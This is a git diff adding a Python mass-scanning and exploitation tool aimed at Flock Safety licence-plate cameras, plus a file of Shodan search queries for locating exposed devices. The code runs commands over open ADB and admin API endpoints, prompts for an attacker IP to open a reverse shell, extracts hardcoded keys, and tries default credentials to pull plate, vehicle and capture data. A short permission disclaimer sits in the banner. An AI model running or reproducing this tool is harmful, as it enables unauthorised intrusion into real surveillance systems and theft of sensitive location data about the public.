+ # 1) DNS – can it resolve Flock cloud?
+ dns_verdict, dns_evidence = self._traffic_sniff_analysis(camera_ip, duration=5)
+ result["checks"].append({"test": "dns_resolve", "verdict": dns_verdict, "detail": dns_evidence})
+ print(f" DNS resolve: {Colors.YELLOW}{dns_verdict}{Colors.END}")
+ if dns_evidence:
+ for d in dns_evidence[:5]:
+ print(f" resolves → {d}")
+
+ # 2) Admin UI inspection
+ verdict2, evid2 = self._check_cloud_connection(camera_ip)
+ result["checks"].append({"test": "admin_ui_inspection", "verdict": verdict2, "detail": evid2})
+ print(f" Admin UI: {Colors.YELLOW}{verdict2}{Colors.END}")
+ for e in evid2[:5]:
+ print(f" {e}")
+
+ # 3) FRP tunnel check
+ frp = self._check_frp_tunnel(camera_ip)
+ if frp:
+ result["checks"].append({"test": "frp_tunnel", "verdict": "FRP_TUNNEL", "detail": frp})
+ print(f" FRP tunnel: {Colors.RED}FOUND on port {frp['port']}{Colors.END}")
+ print(f" banner: {frp['banner']}")
+ else:
+ result["checks"].append({"test": "frp_tunnel", "verdict": "NO_FRP"})
+ print(f" FRP tunnel: {Colors.GREEN}none{Colors.END}")
+
+ # 4) ADB shell → check network config
+ if self._probe_port(camera_ip, 5555):
+ gw = self._adb_get_prop(camera_ip, "net.route.gateway")
+ dns = self._adb_get_prop(camera_ip, "net.dns1")
+ result["checks"].append({
+ "test": "adb_network", "verdict": "ADB",
+ "detail": {"gateway": gw, "dns": dns},
+ })
+ print(f" ADB net: gateway={gw} dns={dns}")
+
+ # Overall verdict
+ verdicts = [c["verdict"] for c in result["checks"]]
+ if "CLOUD" in verdicts or "CLOUD_REACHABLE" in verdicts or "FRP_TUNNEL" in verdicts:
+ result["overall"] = "CLOUD — data flows to Flock infrastructure"
+ elif "LOCAL" in verdicts:
+ result["overall"] = "LOCAL_STATION — data stays on-prem"
+ else:
+ result["overall"] = "INDETERMINATE — unable to determine data flow"
+
+ print(f"\n{Colors.BOLD}Overall: {Colors.END}{result['overall']}")
+
+ with self.lock:
+ self.results.append(result)
+
+ return result
+
+ # ═══════════════════════════════════════════════════
+ # EXISTING METHODS (unchanged)
+ # ═══════════════════════════════════════════════════
+
+ def print_banner(self):
+ banner = f"""
+{Colors.RED}================================================================================
+
+ {Colors.YELLOW}███████╗██╗ ██╗███████╗ ███████╗ ██████╗ █████╗ ███╗ ██╗██████╗ ███████╗██████╗{Colors.RED}
+ {Colors.YELLOW}██╔════╝██║ ██║██╔════╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║██╔══██╗██╔════╝██╔══██╗{Colors.RED}
+ {Colors.YELLOW}█████╗ ██║ ██║█████╗ ███████╗██║ ███████║██╔██╗ ██║██████╔╝█████╗ ██████╔╝{Colors.RED}
+ {Colors.YELLOW}██╔══╝ ╚██╗ ██╔╝██╔══╝ ╚════██║██║ ██╔══██║██║╚██╗██║██╔══██╗██╔══╝ ██╔══██╗{Colors.RED}
+ {Colors.YELLOW}███████╗ ╚████╔╝ ███████╗ ███████║╚██████╗██║ ██║██║ ╚████║██║ ██║███████╗██║ ██║{Colors.RED}
+ {Colors.YELLOW}╚══════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝{Colors.RED}
+
+ {Colors.CYAN}███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗███████╗██████╗ {Colors.RED}
+ {Colors.CYAN}██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝██╔════╝██╔══██╗{Colors.RED}
+ {Colors.CYAN}█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ █████╗ ██████╔╝{Colors.RED}
+ {Colors.CYAN}██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ ██╔══╝ ██╔══██╗{Colors.RED}
+ {Colors.CYAN}███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ ███████╗██║ ██║{Colors.RED}
+ {Colors.CYAN}╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝{Colors.RED}
+
+================================================================================{Colors.END}
+
+{Colors.RED}{Colors.BLINK}WARNING: EXPLOITATION MODULE INCLUDED{Colors.END}
+{Colors.YELLOW}Use only on systems you own or have explicit permission to test{Colors.END}
+
+{Colors.BOLD}Vulnerabilities:{Colors.END}
+ {Colors.RED}CVE-2025-59403 - Unauthenticated admin API / ADB RCE (Score: 9.8){Colors.END}
+ {Colors.RED}CVE-2025-59407 - Hardcoded keystore crypto key (CRITICAL){Colors.END}
+ {Colors.YELLOW}CVE-2025-47818 - Hardcoded fallback hotspot credentials{Colors.END}
+ {Colors.YELLOW}CVE-2025-47823 - Hardcoded system password on ALPR firmware <=2.2{Colors.END}
+
+{Colors.BOLD}New:{Colors.END}
+ {Colors.GREEN} 6) Flock Instance Discovery — scan subnet for all Flock fingerprints{Colors.END}
+ {Colors.GREEN} 7) Traffic Analysis — cloud vs local station data flow{Colors.END}
+
+{Colors.BOLD}Mode:{Colors.END} {'SCAN + EXPLOIT' if self.exploit else 'SCAN ONLY'}
+{Colors.BOLD}Threads:{Colors.END} {self.threads}
+{Colors.BOLD}Timeout:{Colors.END} {self.timeout}s
+"""
+ print(banner)
+
+ # ── Shodan ──
+ def get_shodan_targets(self, api_key):
+ targets = []
+ try:
+ import shodan
+ api = shodan.Shodan(api_key)
+ print(f"{Colors.CYAN}Searching Shodan for CVE-2025 vulnerable systems...{Colors.END}")
+ for cve, queries in SHODAN_QUERIES.items():
+ if cve == "FLOCK_DISCOVERY":
+ continue # covered below
+ query = " OR ".join(queries[:3])
+ print(f"{Colors.CYAN}Searching {cve}...{Colors.END}")
+ try:
+ results = api.search(query, limit=50)
+ for result in results['matches']:
+ targets.append(result['ip_str'])
+ print(f"{Colors.GREEN}Found {len(results['matches'])} targets for {cve}{Colors.END}")
+ except Exception as e:
+ if self.verbose:
+ print(f"{Colors.YELLOW}Warning for {cve}: {e}{Colors.END}")
+ if not targets:
+ fallback = [
+ '"/api/v1/admin" port:443', '"/api/v1/system" port:443',
+ '"Falcon" "api" port:443', '"Sparrow" "api" port:443',
+ 'port:5555 "Android"', '"/api/v1/alpr"',
+ ]
+ print(f"{Colors.YELLOW}Trying fallback queries...{Colors.END}")
+ for q in fallback:
+ try:
+ for r in api.search(q, limit=30)['matches']:
+ targets.append(r['ip_str'])
+ except Exception:
+ pass
+ targets = list(set(targets))
+ except ImportError:
+ print(f"{Colors.RED}Shodan library not installed. Run: pip install shodan{Colors.END}")
+ except Exception as e:
+ print(f"{Colors.RED}Shodan error: {e}{Colors.END}")
+ return targets
+
+ # ── CVE scan/exploit methods (preserved exactly) ──
+ def exploit_cve_59403(self, target, path, payload):
+ results = []
+ if 'adb' in str(payload).lower():
+ for cmd in self.payloads['CVE-2025-59403']['adb_commands']:
+ try:
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.settimeout(self.timeout)
+ sock.connect((target, 5555))
+ sock.send(f"{cmd}\n".encode())
+ response = sock.recv(4096).decode()
+ sock.close()
+ results.append({'cve': 'CVE-2025-59403', 'target': target, 'method': 'ADB',
+ 'command': cmd, 'output': response[:500], 'exploited': True})
+ if self.verbose:
+ print(f"{Colors.GREEN}ADB Exploit Success on {target}: {cmd}{Colors.END}")
+ except Exception as e:
+ if self.verbose:
+ print(f"{Colors.YELLOW}ADB exploit failed on {target}: {e}{Colors.END}")
+ else:
+ for cmd in self.payloads['CVE-2025-59403']['command_exec']:
+ if 'ATTACKER_IP' in cmd:
+ attacker_ip = input(f"{Colors.CYAN}Enter your listener IP for reverse shell: {Colors.END}")
+ cmd = cmd.replace('ATTACKER_IP', attacker_ip)
+ payload = {'command': cmd, 'cmd': cmd, 'action': 'exec', 'execute': cmd, 'payload': cmd}
+ url = f"http://{target}{path}"
+ try:
+ resp = requests.post(url, json=payload, timeout=self.timeout, verify=False)
+ if resp.status_code == 200:
+ results.append({'cve': 'CVE-2025-59403', 'target': target, 'path': path,
+ 'command': cmd, 'response': resp.text[:500], 'exploited': True})
+ if self.verbose:
+ print(f"{Colors.GREEN}API Exploit Success on {target}: {cmd}{Colors.END}")
+ if 'root' in resp.text or 'uid=' in resp.text:
+ print(f"{Colors.RED}ROOT ACCESS GAINED{Colors.END}")
+ except Exception as e:
+ if self.verbose:
+ print(f"{Colors.YELLOW}API exploit failed: {e}{Colors.END}")
+ return results
+
+ def exploit_cve_59407(self, target, path, response_text):
+ results = []
+ for pattern in self.payloads['CVE-2025-59407']['crypto_keys']:
+ if pattern in response_text:
+ kp = re.compile(f'{pattern}[A-Za-z0-9+/=]+')
+ for key in kp.findall(response_text):
+ results.append({'cve': 'CVE-2025-59407', 'target': target, 'path': path,
+ 'key_found': key[:100], 'exploited': True})
+ if self.verbose:
+ print(f"{Colors.GREEN}Crypto key extracted from {target}{Colors.END}")
+ return results
+
+ def exploit_cve_47818(self, target, path, credentials):
+ results = []
+ u, p = credentials.split(':')
+ url = f"http://{target}{path}"
+ try:
+ resp = requests.get(url, auth=(u, p), timeout=self.timeout, verify=False)
+ if resp.status_code == 200:
+ for ep in ['/config', '/settings', '/wifi', '/network', '/status']:
+ try:
+ r2 = requests.get(f"http://{target}{ep}", auth=(u, p), timeout=self.timeout, verify=False)
+ if r2.status_code == 200:
+ results.append({'cve': 'CVE-2025-47818', 'target': target, 'path': ep,
+ 'credentials': credentials, 'config_data': r2.text[:500], 'exploited': True})
+ except Exception:
+ pass
+ except Exception:
+ pass
+ return results
+
+ def exploit_cve_47823(self, target, path, credentials):
+ results = []
+ u, p = credentials.split(':')
+ try:
+ resp = requests.get(f"http://{target}{path}", auth=(u, p), timeout=self.timeout, verify=False)
+ if resp.status_code == 200:
+ for ep in ['/vehicles', '/plates', '/camera', '/captures', '/database']:
+ try:
+ r2 = requests.get(f"http://{target}{ep}", auth=(u, p), timeout=self.timeout, verify=False)
+ if r2.status_code == 200:
+ results.append({'cve': 'CVE-2025-47823', 'target': target, 'path': ep,
+ 'credentials': credentials, 'alpr_data': r2.text[:500], 'exploited': True})
+ except Exception:
+ pass
+ except Exception:
+ pass
+ return results
+
+ def scan_and_exploit(self, target):
+ results = []
+ for path in ['/api/v1/admin/execute', '/api/v1/admin/command', '/api/v1/system/exec']:
+ for payload in [{"cmd": "id"}, {"command": "whoami"}]:
+ try:
+ resp = requests.post(f"http://{target}{path}", json=payload, timeout=self.timeout, verify=False)
+ if resp.status_code == 200 and any(i in resp.text.lower() for i in ['uid=', 'root', 'executed']):
+ if self.exploit:
+ er = self.exploit_cve_59403(target, path, payload)
+ results.extend(er)
+ with self.lock:
+ self.exploited += len(er)
+ else:
+ results.append({'cve': 'CVE-2025-59403', 'target': target, 'path': path,
+ 'vulnerable': True, 'exploited': False})
+ except Exception:
+ pass
+ for path in ['/api/v1/crypto/key', '/api/v1/keystore']:
+ try:
+ resp = requests.get(f"http://{target}{path}", timeout=self.timeout, verify=False)
+ if resp.status_code == 200:
+ for p2 in self.payloads['CVE-2025-59407']['crypto_keys']:
+ if p2 in resp.text:
+ if self.exploit:
+ er = self.exploit_cve_59407(target, path, resp.text)
+ results.extend(er)
+ with self.lock:
+ self.exploited += len(er)
+ else:
+ results.append({'cve': 'CVE-2025-59407', 'target': target, 'path': path,
+ 'vulnerable': True, 'exploited': False})
+ break
+ except Exception:
+ pass
+ for cred in [('admin', 'admin'), ('root', 'root'), ('admin', 'password')]:
+ for path in ['/api/v1/hotspot/config', '/api/v1/wifi/credentials']:
+ try:
+ resp = requests.get(f"http://{target}{path}", auth=cred, timeout=self.timeout, verify=False)
+ if resp.status_code == 200:
+ if self.exploit:
+ er = self.exploit_cve_47818(target, path, f"{cred[0]}:{cred[1]}")
+ results.extend(er)
+ with self.lock:
+ self.exploited += len(er)
+ else:
+ results.append({'cve': 'CVE-2025-47818', 'target': target, 'path': path,
+ 'credentials': f"{cred[0]}:{cred[1]}",
+ 'vulnerable': True, 'exploited': False})
+ break
+ except Exception:
+ pass
+ return results
+
+ def worker(self):
+ while not self.work_queue.empty():
+ target = self.work_queue.get()
+ try:
+ results = self.scan_and_exploit(target)
+ if results:
+ with self.lock:
+ self.results.extend(results)
+ self.vulnerable_found += sum(1 for r in results if r.get('vulnerable', False))
+ for r in results:
+ if r.get('exploited', False):
+ self.print_exploit_result(r)
+ elif r.get('vulnerable', False):
+ self.print_vulnerability(r)
+ self.total_scanned += 1
+ if self.total_scanned % 5 == 0:
+ os.system('clear' if os.name == 'posix' else 'cls')
+ self.print_banner()
+ print(self.print_scanning_status())
+ except Exception as e:
+ if self.verbose:
+ print(f"{Colors.RED}Error scanning {target}: {e}{Colors.END}")
+ finally:
+ self.work_queue.task_done()
+
+ def print_scanning_status(self):
+ return f"""
+{Colors.CYAN}-------------------------------------------------------------
+{Colors.BOLD}SCAN STATUS{Colors.END}
+-------------------------------------------------------------
+Total Targets : {self.total_scanned}
+Vulnerable : {self.vulnerable_found}
+Exploited : {self.exploited}
+Queue Size : {self.work_queue.qsize()}
+Elapsed Time : {datetime.now().strftime('%H:%M:%S')}
+-------------------------------------------------------------
+{Colors.END}"""
+
+ def print_exploit_result(self, result):
+ cve = result.get('cve', 'Unknown')
+ target = result.get('target', 'Unknown')
+ print(f"""
+{Colors.RED}{Colors.BLINK}EXPLOIT SUCCESSFUL{Colors.END}
+{Colors.CYAN}-------------------------------------------------------------
+CVE: {cve}
+Target: {target}
+Method: {result.get('method', 'API')}
+Command: {result.get('command', 'N/A')[:30]}
+Output: {str(result.get('output', ''))[:40]}
+-------------------------------------------------------------
+{Colors.END}""")
+
+ def print_vulnerability(self, result):
+ cve = result.get('cve', 'Unknown')
+ target = result.get('target', 'Unknown')
+ colors = {'CVE-2025-59403': Colors.RED, 'CVE-2025-59407': Colors.RED,
+ 'CVE-2025-47818': Colors.YELLOW, 'CVE-2025-47823': Colors.YELLOW}
+ color = colors.get(cve, Colors.END)
+ print(f"""
+{color}-------------------------------------------------------------
+VULNERABILITY FOUND
+-------------------------------------------------------------
+CVE: {cve}
+Target: {target}
+Path: {result.get('path', 'N/A')}
+Credentials: {result.get('credentials', 'N/A')}
+-------------------------------------------------------------
+{Colors.END}""")
+
+ def scan_network(self, targets):
+ if not targets:
+ print(f"{Colors.RED}No targets to scan{Colors.END}")
+ return
+ for t in targets:
+ self.work_queue.put(t.strip())
+ print(f"{Colors.GREEN}Starting {'exploitation' if self.exploit else 'scanning'} with {self.threads} threads{Colors.END}")
+ print(f"{Colors.YELLOW}Press Ctrl+C to stop{Colors.END}")
+ threads = []
+ for _ in range(self.threads):
+ t = threading.Thread(target=self.worker)
+ t.start()
+ threads.append(t)
+ try:
+ for t in threads:
+ t.join()
+ except KeyboardInterrupt:
+ print(f"\n{Colors.YELLOW}Stopping...{Colors.END}")
+ self.print_summary()
+
+ def print_summary(self):
+ os.system('clear' if os.name == 'posix' else 'cls')
+ self.print_banner()
+ print(f"""
+{Colors.CYAN}-------------------------------------------------------------
+{Colors.BOLD}SCAN COMPLETE{Colors.END}
+-------------------------------------------------------------
+Total Scanned : {self.total_scanned}
+Vulnerable : {self.vulnerable_found}
+Exploited : {self.exploited}
+-------------------------------------------------------------
+{Colors.BOLD}Results by CVE{Colors.END}
+-------------------------------------------------------------
+{Colors.END}""")
+ grouped = {}
+ for r in self.results:
+ cve = r.get('cve', 'Unknown')
+ grouped.setdefault(cve, []).append(r)
+ for cve, rs in grouped.items():
+ exploited = sum(1 for r in rs if r.get('exploited', False))
+ vulnerable = sum(1 for r in rs if r.get('vulnerable', False))
+ print(f"""
+{Colors.BOLD}{cve}{Colors.END}
+ Exploited: {exploited}
+ Vulnerable: {vulnerable}
+ Examples:""")
+ for i, r in enumerate(rs[:3], 1):
+ if r.get('exploited', False):
+ print(f" {i}. {Colors.RED}{r.get('target', 'N/A')} - EXPLOITED{Colors.END}")
+ else:
+ print(f" {i}. {r.get('target', 'N/A')} - {r.get('path', 'N/A')}")
+ if self.output_file:
+ self.save_results()
+
+ def save_results(self):
+ try:
+ with open(self.output_file, 'w') as f:
+ json.dump(self.results, f, indent=2)
+ print(f"\n{Colors.GREEN}Results saved to {self.output_file}{Colors.END}")
+ except Exception as e:
+ print(f"\n{Colors.RED}Failed to save results: {e}{Colors.END}")
+
+ # ═══════════════════════════════════════════════════
+ # INTERACTIVE MENU (extended)
+ # ═══════════════════════════════════════════════════
+
+ def generate_targets(self):
+ print(f"""
+{Colors.CYAN}-------------------------------------------------------------
+{Colors.BOLD}SELECT INPUT METHOD{Colors.END}
+-------------------------------------------------------------
+ 1. Single IP
+ 2. IP Range (CIDR)
+ 3. From File (IPs list)
+ 4. Shodan Query (requires Shodan API)
+ 5. Falcon/Sparrow Signatures
+ 6. Flock Instance Discovery (scan subnet for fingerprints)
+ 7. Traffic Analysis (cloud vs local station)
+ 8. Traffic Tap — live monitor (requires scapy)
+ 9. Traffic Tap — analyze PCAP file
+ 0. Return
+-------------------------------------------------------------
+{Colors.END}""")
+ choice = input(f"{Colors.CYAN}Select option (1-9, 0): {Colors.END}").strip()
+
+ # ── 6: Flock Instance Discovery ──
+ if choice == '6':
+ cidr = input(f"{Colors.CYAN}Enter CIDR (e.g., 192.168.1.0/24): {Colors.END}").strip()
+ if not cidr:
+ return []
+ print(f"{Colors.YELLOW}Discovery mode does not use CVE scan queue.{Colors.END}")
+ self.run_discovery(cidr)
+ input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}")
+ return [] # back to menu
+
+ # ── 7: Traffic Analysis ──
+ if choice == '7':
+ ip = input(f"{Colors.CYAN}Enter camera IP to analyze: {Colors.END}").strip()
+ if ip:
+ self.run_traffic_analysis(ip)
+ input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}")
+ return []
+
+ # ── 8: Traffic Tap (live) ──
+ if choice == '8':
+ if not HAVE_TAP:
+ print(f"{Colors.RED}Error: flock_tap.py not found or scapy missing. pip install scapy{Colors.END}")
+ input(f"{Colors.CYAN}Press Enter…{Colors.END}")
+ return []
+ iface = input(f"{Colors.CYAN}Interface (e.g., eth0): {Colors.END}").strip()
+ if not iface:
+ return []
+ timeout_s = input(f"{Colors.CYAN}Capture duration in seconds (blank = unlimited): {Colors.END}").strip()
+ tap_out = input(f"{Colors.CYAN}Save report to file (blank = none): {Colors.END}").strip()
+ tap = FlockTrafficTap(
+ interface=iface,
+ verbose=self.verbose,
+ output_file=tap_out or None,
+ timeout=int(timeout_s) if timeout_s else None,
+ )
+ tap.start()
+ tap.report()
+ input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}")
+ return []
+
+ # ── 9: Traffic Tap (pcap) ──
+ if choice == '9':
+ if not HAVE_TAP:
+ print(f"{Colors.RED}Error: flock_tap.py not found or scapy missing. pip install scapy{Colors.END}")
+ input(f"{Colors.CYAN}Press Enter…{Colors.END}")
+ return []
+ pcap_file = input(f"{Colors.CYAN}PCAP file path: {Colors.END}").strip()
+ if not pcap_file or not os.path.exists(pcap_file):
+ print(f"{Colors.RED}File not found: {pcap_file}{Colors.END}")
+ input(f"{Colors.CYAN}Press Enter…{Colors.END}")
+ return []
+ tap_out = input(f"{Colors.CYAN}Save report (blank = none): {Colors.END}").strip()
+ tap = FlockTrafficTap(
+ pcap=pcap_file,
+ verbose=self.verbose,
+ output_file=tap_out or None,
+ )
+ tap.start()
+ tap.report()
+ input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}")
+ return []
+
+ # ── Original options ──
+ targets = []
+ if choice == '1':
+ ip = input(f"{Colors.CYAN}Enter IP: {Colors.END}").strip()
+ if ip:
+ targets.append(ip)
+ elif choice == '2':
+ cidr = input(f"{Colors.CYAN}Enter CIDR (e.g., 192.168.1.0/24): {Colors.END}").strip()
+ try:
+ import ipaddress
+ for ip in ipaddress.ip_network(cidr, strict=False).hosts():
+ targets.append(str(ip))
+ except Exception as e:
+ print(f"{Colors.RED}Invalid CIDR: {e}{Colors.END}")
+ elif choice == '3':
+ fn = input(f"{Colors.CYAN}Enter filename: {Colors.END}").strip()
+ try:
+ with open(fn) as f:
+ for line in f:
+ targets.append(line.strip())
+ except Exception as e:
+ print(f"{Colors.RED}Error: {e}{Colors.END}")
+ elif choice == '4':
+ if not self.shodan_api_key:
+ self.shodan_api_key = input(f"{Colors.CYAN}Enter Shodan API key: {Colors.END}").strip()
+ if self.shodan_api_key:
+ targets = self.get_shodan_targets(self.shodan_api_key)
+ if targets:
+ print(f"{Colors.GREEN}Found {len(targets)} targets{Colors.END}")
+ else:
+ print(f"{Colors.YELLOW}No targets found{Colors.END}")
+ else:
+ print(f"{Colors.RED}API key required{Colors.END}")
+ elif choice == '5':
+ print(f"\n{Colors.CYAN}Falcon/Sparrow Signatures:{Colors.END}")
+ print(" - HTTP Title: 'Falcon' or 'Sparrow'")
+ print(" - /api/v1/admin/execute")
+ print(" - /api/v1/system/exec")
+ print(" - Port 5555 (ADB)")
+ print(" - /api/v1/debug")
+ print(f"{Colors.YELLOW}Requires Shodan or pre-generated targets{Colors.END}")
+ elif choice == '0':
+ return []
+ return targets
+
+ def run(self):
+ self.print_banner()
+ if self.exploit:
+ print(f"{Colors.RED}{Colors.BLINK}WARNING: EXPLOITATION MODE ACTIVE{Colors.END}")
+ print(f"{Colors.YELLOW}This will execute commands on vulnerable targets{Colors.END}")
+ confirm = input(f"{Colors.RED}Are you sure? (yes/no): {Colors.END}")
+ if confirm.lower() != 'yes':
+ print(f"{Colors.YELLOW}Exiting{Colors.END}")
+ return
+ while True:
+ targets = self.generate_targets()
+ if not targets:
+ if input(f"{Colors.CYAN}Exit? (y/n): {Colors.END}").lower() == 'y':
+ break
+ continue
+ print(f"{Colors.GREEN}Found {len(targets)} targets{Colors.END}")
+ if len(targets) > 100:
+ print(f"{Colors.YELLOW}Large scan — press Ctrl+C to cancel{Colors.END}")
+ self.scan_network(targets)
+ if input(f"{Colors.CYAN}Continue? (y/n): {Colors.END}").lower() != 'y':
+ break
+
+
+def main():
+ parser = argparse.ArgumentParser(description='FLOCK CVE Scanner + Discovery + Traffic Analysis')
+ parser.add_argument('-t', '--target', help='Single target IP')
+ parser.add_argument('-f', '--file', help='File with targets')
+ parser.add_argument('-o', '--output', help='Output file (JSON)')
+ parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
+ parser.add_argument('-T', '--threads', type=int, default=10, help='Number of threads')
+ parser.add_argument('--timeout', type=int, default=5, help='Connection timeout')
+ parser.add_argument('--exploit', action='store_true', help='Enable exploitation')
+ parser.add_argument('--enrich', action='store_true', help='Enable enrichment modules (banners, cloud provider, telemetry, ADB deep, network map)')
+ parser.add_argument('--cve', help='Scan specific CVE only')
+ parser.add_argument('--discover', metavar='CIDR', help='Discover Flock instances in subnet (e.g. 192.168.1.0/24)')
+ parser.add_argument('--analyze-traffic', metavar='IP', help='Analyze data flow for a camera IP')
+ parser.add_argument('--tap-interface', metavar='IFACE', help='Traffic Tap: live capture interface')
+ parser.add_argument('--tap-pcap', metavar='FILE', help='Traffic Tap: PCAP file to analyze')
+ parser.add_argument('--tap-pipe', action='store_true', help='Traffic Tap: read from stdin')
+ parser.add_argument('--tap-output', metavar='FILE', help='Traffic Tap: save report to JSON')
+
+ args = parser.parse_args()
+
+ scanner = CVEExploiter(
+ verbose=args.verbose,
+ output_file=args.output,
+ threads=args.threads,
+ timeout=args.timeout,
+ exploit=args.exploit,
+ enrich=args.enrich,
+ )
+
+ # CLI shortcut for discovery
+ if args.discover:
+ scanner.run_discovery(args.discover)
+ if args.output:
+ scanner.save_results()
+ return
+
+ # CLI shortcut for traffic analysis
+ if args.analyze_traffic:
+ scanner.run_traffic_analysis(args.analyze_traffic)
+ if args.output:
+ scanner.save_results()
+ return
+
+ # CLI shortcut for Traffic Tap
+ if args.tap_interface or args.tap_pcap or args.tap_pipe:
+ if not HAVE_TAP:
+ print(f"{Colors.RED}Error: flock_tap.py not found. Run: pip install scapy{Colors.END}")
+ sys.exit(1)
+ tap = FlockTrafficTap(
+ interface=args.tap_interface,
+ pcap=args.tap_pcap,
+ pipe=args.tap_pipe,
+ verbose=args.verbose,
+ output_file=args.tap_output or args.output,
+ )
+ tap.start()
+ tap.report()
+ if args.output:
+ # Save raw report too
+ rpt = tap.generate_report()
+ try:
+ with open(args.output, 'w') as f:
+ json.dump(rpt, f, indent=2)
+ print(f"{Colors.GREEN}Tap report saved to {args.output}{Colors.END}")
+ except Exception as e:
+ print(f"{Colors.RED}Error saving: {e}{Colors.END}")
+ return
+
+ if args.target:
+ targets = [args.target]
+ scanner.scan_network(targets)
+ if args.output:
+ scanner.save_results()
+ elif args.file:
+ with open(args.file) as f:
+ targets = [line.strip() for line in f]
+ scanner.scan_network(targets)
+ if args.output:
+ scanner.save_results()
+ else:
+ scanner.run()
+
+
+if __name__ == "__main__":
+ try:
+ main()
+ except KeyboardInterrupt:
+ print(f"\n{Colors.YELLOW}Scan interrupted{Colors.END}")
+ sys.exit(0)
diff --git a/shodan_queries.py b/shodan_queries.py
new file mode 100644
index 0000000..534a6bc
--- /dev/null
+++ b/shodan_queries.py
@@ -0,0 +1,80 @@
+#!/usr/bin/env python3
+"""
+shodan_queries.py - Generate Shodan queries for CVE-2025 vulnerabilities + Discovery
+"""
+
+QUERIES = {
+ 'CVE-2025-59403': [
+ 'title:"Falcon"',
+ 'title:"Sparrow"',
+ '"/api/v1/admin"',
+ '"/api/v1/system"',
+ '"/api/v1/debug"',
+ 'port:5555 "Android"',
+ '"Android Debug Bridge"',
+ 'port:5037 adb',
+ 'http.title:"ADB"',
+ '"Falcon" "api" port:443',
+ '"Sparrow" "api" port:443',
+ '"/api/v1/execute"',
+ '"/api/v1/command"',
+ ],
+ 'CVE-2025-59407': [
+ '"Android" "v6.35.33"',
+ '"keystore" "hardcoded"',
+ '"crypto" "key" "Android"',
+ '"/api/v1/keystore"',
+ '"/api/v1/security"',
+ '"hardcoded_key"',
+ '"default_key"',
+ ],
+ 'CVE-2025-47818': [
+ '"hotspot" "fallback"',
+ '"/api/v1/hotspot"',
+ '"default" "hotspot" "credentials"',
+ '"/api/v1/wifi"',
+ '"hotspot" "config"',
+ '"wifi" "credentials"',
+ ],
+ 'CVE-2025-47823': [
+ '"ALPR" "v2.0"',
+ '"ALPR" "v2.1"',
+ '"ALPR" "v2.2"',
+ '"/api/v1/alpr"',
+ '"license plate" "system"',
+ '"LPR" "firmware"',
+ '"ALPR" "firmware"',
+ '"/alpr" "/api"',
+ ],
+ 'FLOCK_DISCOVERY': [
+ 'title:"admin_page_template"',
+ '"admin_page_template.html"',
+ '"/onvif/device_service" Flock',
+ '"SpeedPourer" port:21',
+ '"FRP" "flock" port:7000',
+ '"M5NanoC6" "flock"',
+ '"flock" "ADB" port:5555',
+ 'ssl.cert.subject.cn:"*.flocksafety.com"',
+ 'ssl.cert.subject.cn:"*.ops.flocksafety.com"',
+ 'org:"Flock Safety"',
+ '"flock-hibiki"',
+ ],
+}
+
+def generate_shodan_queries():
+ """Generate combined Shodan queries"""
+ print("# CVE-2025 Vulnerability + Discovery Shodan Queries")
+ print("# ==================================================")
+ print()
+ for cve, queries in QUERIES.items():
+ print(f"# {cve}")
+ print(" OR ".join(queries))
+ print()
+ all_q = []
+ for qs in QUERIES.values():
+ all_q.extend(qs)
+ print("# ALL Queries Combined")
+ print(" OR ".join(all_q))
+
+if __name__ == "__main__":
+ generate_shodan_queries()